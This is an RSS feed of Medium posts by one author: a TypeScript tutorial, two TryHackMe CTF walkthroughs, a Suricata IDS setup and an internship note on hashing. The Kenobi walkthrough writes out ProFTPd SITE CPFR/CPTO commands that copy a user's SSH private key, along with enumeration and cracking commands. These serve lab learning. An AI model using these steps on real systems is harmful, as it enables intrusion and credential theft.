<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by LEINYUY-YEFON WILL VERDZE on Medium]]></title>
        <description><![CDATA[Stories by LEINYUY-YEFON WILL VERDZE on Medium]]></description>
        <link>https://medium.com/@verdzeleinyuyyefon?source=rss-be919b148998------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*KNrwpoIt_RiYeIo9</url>
            <title>Stories by LEINYUY-YEFON WILL VERDZE on Medium</title>
            <link>https://medium.com/@verdzeleinyuyyefon?source=rss-be919b148998------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:40:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@verdzeleinyuyyefon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Learning TypeScript for React and Next.js: My Beginner Journey]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/learning-typescript-for-react-and-next-js-my-beginner-journey-037901c7eeb2?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/037901c7eeb2</guid>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 03:10:15 GMT</pubDate>
            <atom:updated>2025-08-06T08:36:19.694Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*Zk2PNESVoPT4WuVis2NHag.png" /></figure><p>I’m currently learning <strong>React and Next.js</strong>, and along the way, I kept hearing about <strong>TypeScript</strong>.<br> Developers often say it makes projects <strong>safer, cleaner, and easier to maintain</strong>, especially as they grow larger.</p><p>Since I’m <strong>still new to React and Next.js</strong>, I decided to start learning TypeScript early so I can <strong>build good habits</strong> from the beginning.<br> I followed a <strong>1-hour beginner-friendly tutorial on TypeScript for React and Next.js</strong>, and this post is a summary of <strong>what I learned in my own words</strong>.</p><p>If you’re also <strong>just starting your React and Next.js journey</strong>, this post will help you understand <strong>why TypeScript is useful and how to start using it</strong>.</p><h3>Why TypeScript?</h3><p>TypeScript is basically <strong>JavaScript with types</strong>. Its main job is to <strong>define strict types</strong> and ensure that you <strong>use the same type throughout your code</strong>.</p><ul><li>In plain JavaScript, you can do this:</li></ul><pre>let variable = &quot;hello&quot;;<br>variable = 12; // ✅ JS allows this</pre><ul><li>In TypeScript, that’s an <strong>error</strong> because variable was declared as a string:</li></ul><pre>let variable = &quot;hello&quot;;<br>variable = 12; // ❌ Error: number not assignable to string</pre><p>This <strong>strictness</strong> might feel annoying at first, but it <strong>prevents many bugs</strong> before your code even runs.<br> It’s like having a <strong>built-in spell checker for your code</strong> — it warns you before you make a mistake.</p><h3>1. Basic Types and Union Types</h3><p>TypeScript allows you to <strong>define what kind of data</strong> a variable should store:</p><pre>let ageWithType: number;<br>ageWithType = 20;    // ✅<br>ageWithType = &quot;20&quot;;  // ❌ Error</pre><p>This simple rule <strong>prevents logical mistakes</strong>, like accidentally treating a string as a number in a calculation.</p><p>If you want a variable to <strong>accept multiple types</strong>, you can use <strong>union types</strong>:</p><pre>let testString: string | number;<br>testString = &quot;hello&quot;; // ✅<br>testString = 123;     // ✅<br>testString = true;    // ❌</pre><p><strong>When to use union types?</strong></p><ul><li>When a value can be <strong>more than one type</strong>, like <strong>ID</strong> (string or number) or <strong>input value</strong> from a form.</li></ul><h3>2. Arrays and Type Safety</h3><p>TypeScript <strong>knows the type of elements in your array</strong>:</p><pre>let names = [&quot;jane&quot;, &quot;mary&quot;];<br>names.push(&quot;Mike&quot;); // ✅<br>names.push(12);     // ❌ number not assignable to string</pre><p>If you start with an <strong>empty array</strong>, you <strong>must define the type</strong>:</p><pre>let testArrayNumbers: number[];<br>testArrayNumbers = [1, 2, 3];         // ✅<br>testArrayNumbers = [true, &quot;hello&quot;, 2] // ❌</pre><p>You can also mix types using <strong>union arrays</strong>:</p><pre>let mixedArray: (string | number)[];<br>mixedArray = [1, 2, &quot;four&quot;]; // ✅</pre><p><strong>Why this is useful in React projects:</strong></p><ul><li>Imagine a TodoList that only stores <strong>strings</strong> for tasks.</li><li>If someone accidentally tries to push a number, TypeScript will <strong>warn you immediately</strong>.</li></ul><h3>3. Objects and Type Safety</h3><p>Objects in TypeScript are <strong>like dictionaries in Python</strong>, but with <strong>rules</strong>:</p><pre>let user = {<br>  username: &quot;jane&quot;,<br>  age: 13,<br>};<br>user.isAdmin = true; // ❌ Property does not exist</pre><p>To avoid this, <strong>define the object structure (shape)</strong> with types:</p><pre>let userTyped: {<br>  username: string;<br>  age: number;<br>  isAdmin: boolean;<br>};<br>userTyped = {<br>  username: &quot;Mike&quot;,<br>  age: 20,<br>  isAdmin: true,<br>};</pre><p>Optional properties use <strong>?</strong>:</p><pre>let userOptional: {<br>  username: string;<br>  age: number;<br>  phone?: number;<br>};<br>userOptional = { username: &quot;Sam&quot;, age: 25 }; // ✅ phone is optional</pre><p><strong>Why this matters in real projects:</strong></p><ul><li>It <strong>forces consistency</strong> in APIs and components.</li><li>You can’t accidentally forget a property or pass the wrong type.</li></ul><h3>4. Functions and Return Types</h3><p>TypeScript allows you to <strong>specify both input and output types</strong> for functions:</p><pre>let sayHi = () =&gt; {<br>  console.log(&quot;Hi, welcome!&quot;);<br>}; // returns void</pre><p>A function that <strong>returns a string</strong>:</p><pre>let returnString = (): string =&gt; {<br>  return &quot;Hello TypeScript!&quot;;<br>};</pre><p>Functions with <strong>typed parameters</strong>:</p><pre>let multiple = (num: number): number =&gt; {<br>  return num * 2;<br>};</pre><p>Optional parameters use <strong>?</strong>:</p><pre>let sum = (num1: number, num2: number, num3?: number) =&gt; {<br>  return num1 + num2;<br>};<br>sum(2, 3);    // ✅<br>sum(2, 3, 5); // ✅</pre><p><strong>Why this helps:</strong></p><ul><li>Prevents bugs like accidentally passing a string to a math function.</li><li>Makes functions <strong>self-documenting</strong>.</li></ul><h3>5. Type Aliases for Clean Code</h3><p>As projects grow, typing objects repeatedly can get <strong>messy</strong>:</p><pre>let func = (user: { username: string; age: number; phone?: string }) =&gt; {<br>  console.log(user.username);<br>};</pre><p>Instead, use a <strong>type alias</strong>:</p><pre>type UserType = {<br>  username: string;<br>  age: number;<br>  phone?: number;<br>};<br>let betterFunc = (user: UserType) =&gt; {<br>  console.log(user.username);<br>};</pre><p><strong>Benefits of type aliases:</strong></p><ul><li>Makes code <strong>cleaner and reusable</strong>.</li><li>Useful for <strong>props</strong>, <strong>API responses</strong>, and <strong>shared data types</strong>.</li></ul><h3>6. Function Signatures</h3><p>TypeScript can also <strong>describe the shape of a function</strong> (its inputs and outputs):</p><pre>type MyFunc = (a: number, b: string) =&gt; void;<br>let write: MyFunc = (num, str) =&gt; {<br>  console.log(num + &quot; times &quot; + str);<br>};</pre><p>This is handy when <strong>multiple functions</strong> share the <strong>same structure</strong>.</p><h3>7. Interfaces and React Props</h3><p>Interfaces are like type aliases but are <strong>mainly used for objects and React props</strong>:</p><pre>interface User {<br>  username: string;<br>  age: number;<br>  phone?: string;<br>}<br>let showUser = (user: User) =&gt; {<br>  console.log(user.username);<br>};</pre><h3>React Example: Typing Component Props</h3><pre>interface UserProps {<br>  username: string;<br>  age: number;<br>}<br>const UserCard: React.FC&lt;UserProps&gt; = ({ username, age }) =&gt; (<br>  &lt;div&gt;<br>    &lt;h2&gt;{username}&lt;/h2&gt;<br>    &lt;p&gt;Age: {age}&lt;/p&gt;<br>  &lt;/div&gt;<br>);</pre><p><strong>Why this is powerful in React:</strong></p><ul><li>You <strong>immediately get an error</strong> if you pass the wrong props.</li><li>Props become <strong>self-documenting</strong>, making collaboration easier.</li></ul><h3>Key Takeaways</h3><ol><li><strong>TypeScript forces consistency</strong> — no accidental type changes.</li><li><strong>Union types, type aliases, and interfaces</strong> make code readable and reusable.</li><li><strong>Optional properties and parameters (</strong><strong>?)</strong> are super useful for flexible objects and functions.</li><li><strong>Typing props and state in React</strong> prevents runtime bugs early.</li><li><strong>TypeScript feels strict at first</strong>, but saves a ton of debugging time.</li></ol><h3>Conclusion</h3><p>Learning TypeScript while exploring React and Next.js felt <strong>intimidating</strong> at first.<br> But after just one session, I realized it’s <strong>not a new language</strong>, it’s <strong>JavaScript with superpowers</strong>.</p><p>It catches errors <strong>before they break your app</strong>, improves <strong>editor autocomplete</strong>, and makes your code <strong>more maintainable</strong>.</p><p>If you’re starting with React or Next.js, I recommend learning TypeScript early:</p><ul><li>Start by typing <strong>props, state, and function parameters</strong>.</li><li>Then move to <strong>type aliases and interfaces</strong> as your project grows.</li></ul><p>Your future self (and your code) will <strong>thank you</strong>. 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=037901c7eeb2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme KENOBI CTF Walktrhough]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/tryhackme-kenobi-ctf-walktrhough-6e19c1c980d4?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e19c1c980d4</guid>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Fri, 09 May 2025 04:53:32 GMT</pubDate>
            <atom:updated>2025-05-10T16:57:57.979Z</atom:updated>
            <content:encoded><![CDATA[<p>Tryhackme KENOBI CTF Walktrhough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*7KtadvS02RzjI5NRDw6Vjg.png" /></figure><p>The Kenobi CTF is a walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation. it is comprised of 4 tasks. This write up will help beginners go through them smoothly.</p><p>Task 1: Deploy the Vulnerable Machine</p><p>Here, you have to start the vulnerable machine, to get your IP address to carryout the different attacks/commands after connecting to the open VPN.</p><p>The first task here is to enumerate the machine to find open ports. I used the following connand;</p><p>command: nmap -A -sV -T4 10.10.93.81</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*2N1JP1Fu9TR_TO6KIyYKUA.png" /></figure><p>the result showed the list of ports functioning on the said IP address. Going through it, i was able to count 7 port with status ‘open’ so answer is “7”</p><p>Task 2: Ennumerate Samba for Shares</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GeHWVGubnMHvy7jrChWqQw.png" /></figure><p>The first question is to find the number of shares using the command above</p><p>command: nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.93.81</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*xBiT6vpZKc7VA8XE7BDktQ.png" /></figure><p>The result shows 3 shares namely; IPC$, anonymous and print$. Answer is 3.</p><p>Next question is to inspect the anonymous share and find the file that exists in it. I used the comman below to do that;</p><p>command: smbclient //MACHINE_IP/anonymous</p><p>replacing MACHINE_IP with the IP address of my target machine(Same one i had above).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*jx_zR4iFcKDpvmd1VuxEGQ.png" /></figure><p>After entering the password ‘nothing’ I had to try help to know the possible commands I could run in that directory. ‘ls’ was among, so I did the ‘ls’ and viola. Filename: log.txt and that is our answer.</p><p>Moving on, I now had to find the port FTP was running on. taking reference from the nmap scan done above, I was able to get the port . Answer is port 21.</p><p>Next step was finding the mount that was working on the rpcbing running on port 111.</p><p>command used: nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP</p><p>still replacing MACHINE_IP with your machine’s IP address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*pt53ZzdNdGbOEzV_iNixGQ.png" /></figure><p>There you go nfs-showmount: /var and that’s our answer.</p><p>Task 3: Gain initial access with ProFtpd</p><p>First question is to find the verion of Proftpd. Still from the above nmap scan, port 21 runs ProFtpd 1.3.5. This implies the version is 1.3.5 and that’s our answer.</p><p>Next is to find the number of exploits running for ProFtpd using searchsploit.</p><p>command used: searchsploit proftpd 1.3.5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*velu-cUlqCBlfohIkkbwbg.png" /></figure><p>There, 4 exploits.</p><p>The next steps include copying files and directories from one site to another, mounting the /home/var in your machine to get the Kenobi flag which is binary.</p><p>Next tasks don’t require any answer. I initially, skipped them but later realised that i had to do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUwfpUhiC-4BVe75CtZFgA.png" /></figure><p>I typed in</p><p>command: nc 10.10.239.150 21</p><p>This was fon inordeer to create an FTP connection to proftpd.</p><p>command: SITE CPFR /home/kenobi/.ssh/id_rsa</p><p>this command was done to copy the content of .ssh/id_rsa</p><p>command: SITE CPTO /var/tmp/id_rsa</p><p>This was done to paste the copied content in the /var/tmp/id_rsa directory.</p><p>Output should be “250 copy successful”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*5_8Wnzm1Js6TN41e5NENlg.png" /></figure><p>The next task includes mounting the /var/temp directory into our machine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e19c1c980d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Easy Peasy Beginner Walkthrough]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/tryhackme-easy-peasy-beginner-walkthrough-769a542c83f3?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/769a542c83f3</guid>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Sat, 03 May 2025 03:27:53 GMT</pubDate>
            <atom:updated>2025-05-03T03:27:53.515Z</atom:updated>
            <content:encoded><![CDATA[<p>TryHackMe: Easy Peasy Beginner Walkthrough</p><p>(No images)</p><p>Introduction</p><p>this is a beginner friendly walkthrough of the Easy Peasy room on TryHackMe. The room introduces basic enumeration, exploitation and privilege escalation concepts.</p><p>Note: this walkthrough does not include screenshots because the Tryhackme room had expired before I could take them. As a result, I focused on clearly documenting each step and command used to ensure the guide remains useful and easy to follow.</p><p>Room Details: <a href="https://tryhackme.com/room/easypeasyctf">https://tryhackme.com/room/easypeasyctf</a></p><p>Difficulty: Easy</p><p>Focus: Enumeration, Web Exploitation, Privilege Escalation</p><p>Task 1: Enumeration through Nmap</p><p>Objective: Scan the target to identify open ports and services.</p><p>Command Used: nmap -p- -A- &lt;TARGET_IP&gt;</p><p>Result: The result of this scan would show you all the port open ports, service versions, OS detection, script scanning. In the result, I found 3 open ports the version of nginx, 1.16.1 and what was running on the highest open port which was apache.</p><p>Task 2: Compromising the machine</p><ol><li>Objective: Discover hidden directories on the web server.</li></ol><p>Command Used: gobuster dir -u <a href="http://[TARGET_IP">http://</a>10.10.1173.140/ -w /usr/share/wordlists/dirb/common.txt</p><p>Result: Found a hidden directory /hidden/</p><p>I further looked into the hidden directory <a href="http://10.10.173.140/hidden/">http://10.10.173.140/hidden/</a> and didn’t find anything useful. I proceeded to check the other directories in /hidden. In the <a href="http://10.10.173.140/hidden/">http://10.10.173.140/hidden/</a>whatever , the result appeared to be a dead end but on checking the source code (CRTL+U) i found a hidden hash which I cracked using Cyberchef with the from base option (following this walkthrough, you’ll just have to scan through the code) and that provided the first flag.</p><p>2. Further enumerate the the machine to find flag two</p><p>Looking into the <a href="http://10.10.173.140/hidden/">http://10.10.173.140</a>:65524/robot.txt file, I saw a funny user agent. I copied that hash and cracked it using md5hashing.net and that got me flag 2. Port 65524 is the port running Apache.</p><p>3. Finding flag 3</p><p>This was amongst the easiest finds. In the <a href="http://10.10.173.140/hidden/">http://10.10.173.140</a>:65524 source code and found flag 3.</p><p>4. What is the hidden directory</p><p>Still in the source code, around line 194, I found a hash. I cracked this hash with Cyberchef (from base 62) and found the hidden directory.</p><p>5. Crash the hash with the wordlist provided</p><p>For this task, I had to find the hidden password hash to crack it. this was also found in the hidden directory found earlier. so I entered <a href="http://10.10.173.140/hidden/">http://10.10.173.140</a>:65524/n0th1ng3ls3m4tt3r and saw an empty page with binary on the background. Looking at the source code, I found an html code. the binary image was actually stored locally. i copied the hash and downloaded the image.</p><p>I used John the ripper to crack this password</p><p>command: john — format=gost hash.txt — wordlist=easypeasy.txt</p><p>I had copied this hash and saved it in my downloads directory where my wordlist was. Ran that command in the same directory(make sure you are in the correct directory) and obtained the cracked password. “mypasswordforthisjob”</p><p>6. What is the password to login to the machine via SSH</p><p>I had no leads at this point then remembered the image I earlier downloaded. I seemed suspicious. I used stegseek to see if there was any hidden data in it.</p><p>command: stagseek binarycodepixabay.jpg easypeasy.txt</p><p>i found the passphrase and a secrettext.txt file. I used steghide to extract the data</p><p>command: steghide extract -sf binarycodepixabay.jpg -v</p><p>Output was saved to secrettext.txt and I checked the content. Username was “boring” and password was a set of binary code which i cracked with Cyberchef with the from binary option.</p><p>7. Find the flag</p><p>With the username and password, i entered an ssh command into the system</p><p>command: ssh boring@<a href="http://10.10.173.140/hidden/">10.10.173.140</a> -p 6498</p><p>Entered the password from earlier as used the ls command and got a whole list of different directories. I checked the content of the user.txt file and found a hash which I cracked using Cyberchef, and found the 7th flag.</p><p>Conclusion: to be able to do this, make sure you connect to the tryhackme openvpn.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=769a542c83f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Experience Setting up an IDS with Suricata: A journey into Cyber Security.]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/my-first-experience-setting-up-an-ids-with-suricata-a-journey-into-cyber-security-65959881e319?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/65959881e319</guid>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 11:58:52 GMT</pubDate>
            <atom:updated>2025-03-17T11:58:52.912Z</atom:updated>
            <content:encoded><![CDATA[<p>My First Experience Setting up an IDS with Suricata: A journey into Cyber Security.</p><p>Introduction</p><p>When I first heard about Intrusion Detection Systems (IDS), I thought, “This sounds complex!” But after working with my team to configure one using Suricata for a whole week, I realized that while it’s challenging, it’s also exciting and rewarding.</p><p>In this post, I’ll walk you through everything we did — from managing the tasks to installing Suricata to writing custom rules and testing attacks — all from a student’s perspective. If you’ve ever been curious about IDS but didn’t know where to start, this is for you!</p><p>How I Managed the Project (Without Losing My Mind 😅)</p><p>Since we were working mostly remotely, keeping track of tasks was a challenge. To stay organized, I used Trello. Setting Up Trello for Teamwork, I created a Trello board with simple lists:</p><p>-To-Do: All tasks we needed to complete</p><ul><li>In Progress: What each person was actively working on.</li><li>Product Backlog: Everything that needs to be done to realize the project.</li><li>Done: Successfully completed work 🎉</li></ul><p>Each task had a deadline and was assigned to a specific team member. This way, we knew exactly who was responsible for what. We also had daily check-ins to discuss progress and any challenges we faced and the way forward.</p><p>Step 1: Installing Suricata on Kali Linux</p><p>Before jumping into configurations, we had to install Suricata on our Kali Linux machines.</p><p>First, we updated and upgraded our system typing the following in the terminal:</p><p>sudo apt update &amp;&amp; sudo apt upgrade -y</p><p>This was done essentially to ensure system compactibility, avoid installation errors, getting latest features and more.</p><p>Then, we installed Suricata:</p><p>sudo apt install suricata -y</p><p>To confirm that everything installed correctly, we checked the version to insure we are using the right version:</p><p>suricata — build-info</p><p>It worked! 🎉 Now, onto configuration.</p><p>Step 2: Configuring Suricata</p><p>Suricata uses rules to detect suspicious activity. By default, it comes with Emerging Threats (ET) Open Rules, which contain pre-written signatures for detecting known cyber threats.</p><p>Downloading &amp; Updating Rules</p><p>We ran:</p><p>sudo suricata-update</p><p>This pulled the latest threat rules from the Emerging Threats database.</p><p>Editing the Suricata Config File</p><p>The heart of Suricata is its config file (/etc/suricata/suricata.yaml).</p><p>We needed to:<br>✅ Tell Suricata which network interface to monitor<br>✅ Enable logging for alerts</p><p>So, we edited the YAML file and set:</p><p>af-packet:<br> interface: eth0<br> cluster-id: 99<br> cluster-type: cluster_flow<br> defrag: yes</p><p>Now, Suricata knew which network to watch. In a situation where you have numerous interfaces and you wat to monitor traffic from a particular one, after checking your network interface, it’s different from “eth0”, it is replaced with the network interface you use. To check, we run on the terminal:</p><p>ifconfig</p><p>Step 3: Running Suricata in IDS Mode</p><p>To start Suricata and begin monitoring traffic, we used:</p><p>sudo suricata -c /etc/suricata/suricata.yaml -i eth0</p><p>And just like that, our IDS was up and running! 🚀</p><p>Step 4: Testing Suricata (Did It Actually Work?)</p><p>Having an IDS is great, but we needed to test if it could detect attacks. So, we did a common ping request on another machine connected to the same network. On the terminal, enter the link to a malicious website (commonly with protocol http).</p><p>Moments later, we checked our Suricata logs:</p><p>sudo tail -f /var/log/suricata/fast.log</p><p>Boom! 🚨 Suricata detected the scan.</p><p>Step 5: Writing Custom IDS Rules</p><p>While Suricata has pre-written rules, we wanted to create our own.</p><p>Here’s an example rule we wrote to detect ICMP ping requests:</p><p>alert icmp any any -&gt; any any (msg:”ICMP Ping Detected”; sid:1000001; rev:1;)</p><p>This rule tells Suricata:<br>⚡ “Whenever you see a ping request, trigger an alert!”</p><p>We added this to local.rules, updated Suricata’s rule set, and restarted it:</p><p>sudo suricata-update <br>sudo systemctl restart suricata</p><p>Now, every time someone pinged our network, we got an alert!</p><p>Let me explain each part of the rule:</p><ul><li>alert: is the action to be performed by the IDS when the rules matches the traffic.</li><li>icmp: protocol to be detected in the traffic.</li><li>any(first any): Source IP address in the traffic.</li><li>any (second any): Source port to match in the traffic.</li><li>direction(-&gt;): indicates the direction of the traffic flow.</li><li>any (third any): destination IP address to match.</li><li>any (fourth any): destination port to match in the traffic.</li><li>Rule options(the part in the brackets): it defines additional information and actions related to the rule. For example; msg:”ICMP Ping Detected”, it is the message that will appear in the alert when the rule is triggered.</li></ul><p>Working with the IPS Team</p><p>While we were focused on detecting attacks, another team was working on an Intrusion Prevention System (IPS) to block them in real time.</p><p>We collaborated closely to:<br>✅ Understand how IDS alerts could trigger IPS responses<br>✅ Fine-tune rules to balance security &amp; performance<br>✅ Ensure both teams’ setups worked smoothly together</p><p>This experience showed me how IDS and IPS are two sides of the same coin in cybersecurity.</p><p>Next Steps: Making IDS Smarter with Machine Learning</p><p>While Suricata is powerful, it has limitations:<br>❌ It only detects known threats<br>❌ It can’t always spot zero-day attacks<br>❌ It relies on predefined rules, which hackers can evade</p><p>This is why we want to explore machine learning to make our IDS more adaptive.</p><p>Some ideas:<br>📌 Training an ML model to detect unusual patterns in network traffic<br>📌 Using anomaly detection to identify suspicious behavior<br>📌 Combining AI with Suricata’s rule-based system for better accuracy</p><p>This would make our IDS more powerful and proactive.</p><p>in conclusion, this project was an amazing learning experience! 🎉</p><p>What I learned:<br>✅ How IDS works &amp; how to configure Suricata<br>✅ How to test &amp; analyze network attacks<br>✅ How to manage a project remotely using Trello<br>✅ The importance of IDS &amp; IPS working together</p><p>A huge thank you to our mentors at SEED Inc. for this opportunity. Also, big shoutout to my amazing teammates <a href="https://medium.com/u/899ab4afe5cf">AFUNGCHWI EMME-RITA</a>, <a href="https://medium.com/u/15a65884c042">Apouoh ashley</a>, <a href="https://medium.com/u/96af165fc26c">Ngongwe Prosper</a> and the IPS team; <a href="https://medium.com/u/c621beffba12">Pavelbrayel</a>, <a href="https://medium.com/u/a10955740d02">Favour Bewuh</a>!</p><p>This is just the beginning — I’m excited to continue refining this IDS and exploring machine learning for cybersecurity.</p><p>Let’s keep learning and building! 💻🔒</p><p>#CyberSecurity #IDS #IPS #Suricata #MachineLearning #Networking #ProjectManagement #StudentLearning</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65959881e319" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Week 3 of My Cybersecurity Internship at SEED Inc.: Python, Hashing & Decryption]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/week-3-of-my-cybersecurity-internship-at-seed-inc-python-hashing-decryption-82647cf4ff7c?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/82647cf4ff7c</guid>
            <category><![CDATA[hashing]]></category>
            <category><![CDATA[decryption]]></category>
            <category><![CDATA[cybersecurity-internship]]></category>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Sat, 08 Mar 2025 06:32:04 GMT</pubDate>
            <atom:updated>2025-03-08T06:32:04.031Z</atom:updated>
            <content:encoded><![CDATA[<p>Week 3 of My Cybersecurity Internship: Python, Hashing &amp; Decryption</p><p>Three weeks into my cybersecurity internship at SEED, and things are starting to get real! This week was all about Python and cryptography, and it was both exciting and frustrating at times. From hashing passwords to generating a rainbow table and decrypting an encrypted file, I had quite a few “aha” moments — along with some “why isn’t this working?!” moments.</p><p>Honestly, this week made me appreciate how much effort goes into securing data and how easy it can be to mess things up if you’re not careful. It also gave me a better understanding of how attackers think, which is just as important as knowing how to defend against them.</p><p>Here’s a recap of what I worked on and what I learned along the way!</p><p>Brushing Up on Python</p><p>Before getting into the actual cybersecurity tasks, I had to go back and refresh my Python basics. Even though I’ve used Python before, it’s always good to go over the fundamentals, especially when you’re about to start working with encryption and security-related coding.</p><p>I spent some time practicing functions, file handling, and string manipulation — simple stuff, but necessary. It also helped me write cleaner and more efficient code, which is something I’m trying to get better at.</p><p>Hashing Passwords &amp; Verifying Them</p><p>The first big task of the week was learning how passwords are stored securely. It’s crazy to think that some websites still store passwords in plaintext (which is a huge security risk), but the proper way to do it is by hashing them.</p><p>I learned how different hashing algorithms work and why some are better than others. The main takeaway? Speed isn’t always good when it comes to security. Some hashing algorithms, like SHA-256, are fast, which makes them vulnerable to brute-force attacks. That’s why better hashing methods, like bcrypt, are used in real-world applications — they slow down attackers by making hashing deliberately time-consuming.</p><p>I also wrote a simple program to hash and verify passwords, which made me appreciate just how important this process is in cybersecurity. Without proper password hashing, anyone with access to a database could easily steal user credentials.</p><p>Generating a Rainbow Table (And Why They’re Dangerous)</p><p>Next, I learned about rainbow tables, and wow — this part really opened my eyes.</p><p>Basically, a rainbow table is a precomputed list of hashed passwords, which makes it super easy for attackers to crack weak passwords. Instead of hashing every password guess on the fly, they can just look up the hash in their table and instantly find the original password. It’s scary how fast and effective this method is!</p><p>To understand it better, I generated my own simple rainbow table using common passwords. It was both fascinating and concerning to see how easily some passwords could be cracked. This exercise made me realize why salting passwords (adding random data before hashing) is so important — without it, rainbow tables can be used to break into accounts in seconds.</p><p>Lesson learned: If a password is weak, it’s already in a hacker’s database somewhere.</p><p>Decrypting an Encrypted File (The Struggle Was Real)</p><p>The final challenge of the week was decrypting an AES-encrypted file, and this is where I ran into some real problems.</p><p>AES (Advanced Encryption Standard) is one of the most widely used encryption methods, but it has different modes, and that’s where I messed up. When I first tried to decrypt the file, I kept getting nonsense output, and I couldn’t figure out why.</p><p>After troubleshooting for a while, I realized that I was using the wrong AES mode. Encryption modes affect how data is processed, and if you don’t use the same mode for encryption and decryption, it just won’t work. Once I fixed that mistake, the decryption finally worked, and it was such a satisfying moment!</p><p>This exercise taught me that encryption isn’t just about scrambling data — it’s about doing it the right way. One small mistake, like using the wrong mode or forgetting an encryption key, can make your data completely unrecoverable. It also made me realize how easy it is for things to go wrong if you’re not paying attention.</p><p>Final Thoughts on Week 3</p><p>This week was packed with real-world cybersecurity concepts, and I learned a lot — not just about how things work, but also how attackers think and how small mistakes can lead to big security issues.</p><p>Some key takeaways:<br>✅ Python is essential — knowing how to write and debug scripts is a must in cybersecurity.<br>✅ Hashing isn’t enough — you need to use the right algorithms and techniques (like salting) to make it secure.<br>✅ Attackers have powerful tools — rainbow tables make cracking weak passwords ridiculously easy.<br>✅ Encryption can be tricky — one wrong setting, and your data is either vulnerable or completely unrecoverable.</p><p>Every week, I’m gaining more confidence, learning from my mistakes, and getting a deeper understanding of how cybersecurity works in the real world. Looking forward to whatever challenges come next!</p><p>If you’re also learning cybersecurity, what has been the hardest concept for you so far? Let’s connect and share insights!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82647cf4ff7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Week 2 of My Cybersecurity Journey at Seed Inc.:]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/week-2-of-my-cybersecurity-journey-at-seed-inc-6d749831e2fa?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d749831e2fa</guid>
            <category><![CDATA[network-simulation]]></category>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Fri, 28 Feb 2025 20:39:41 GMT</pubDate>
            <atom:updated>2025-02-28T21:13:05.929Z</atom:updated>
